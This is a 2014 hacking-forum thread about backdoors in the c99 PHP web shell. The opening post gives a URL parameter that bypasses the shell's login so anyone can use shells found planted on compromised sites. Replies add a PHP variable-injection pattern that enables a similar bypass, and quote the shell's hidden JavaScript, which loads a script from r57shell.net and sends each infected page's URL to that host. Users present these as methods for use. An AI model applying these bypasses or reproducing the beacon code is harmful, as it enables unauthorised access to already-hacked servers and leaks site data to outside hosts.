

Forum:[Hack Forums](#)

Thread: [c99 php Shell Backdoor - ByPass Authentication](#)

Dexter - December 14, 2014, 7:08 am

This is a few months old, but the original c99 php shell is backdoored, so is many other versions of it... Not sure if this was posted on HF or if this is right place to post this

To bypass authentication add "?c99shcook[login]=0" to the URL.

So if you found a shell planted on a site, all you have to do is to add the url:

[https://YouSite.com/NameOfShell.php?c99shcook\[login\]=0](https://YouSite.com/NameOfShell.php?c99shcook[login]=0)

Source;

<http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/>
<http://www.exploit-db.com/exploits/34025/>

133720 - December 14, 2014, 7:47 am

If i can't login css shell. i will remember your nice thread. Thanks.

cheatson - December 14, 2014, 8:18 am

Another one I have seen did something like below. Basically what register_globals did before it was removed (bypass would be site.com/shell?pass=1).

PHP Code

<?

```
foreach($_REQUEST as $key => $val)
$$key = $val;
```

```
if ($pass) {
```

```
//do evil ...
```

```
} ...
```

```
?>
```

Incidentally, there was a script that set the register_globals flag in an .htaccess -maybe an oversight, vuln all the same ;p

133720 - December 14, 2014, 8:20 am

I got new one method. Thanks cheatson.

Misha the unfortunate - December 14, 2014, 10:48 am

Thanks for releasing a 2 year old "exploit".

bzgzd - December 14, 2014, 11:00 am

Yes it was already posted here.

Not only it has this backdoor login but it also sends url to r57shell.net web site as it has this js in:
Code <SCRIPT SRC=http ://r57shell.net/404/ittir.js></SCRIPT>
Code a=new/**/Image();a.src='http ://r57shell.net/yaz.php?a='+escape(location.href);
.

w34k - December 15, 2014, 12:54 am

(Dec 14, 2014 08:08 AM)Dexter Wrote: [CITE](#) the original c99 php shell is backdoored
The original, meaning it would be years old lol. I thought everyone knew this by now. Good share
for people who don't know, though.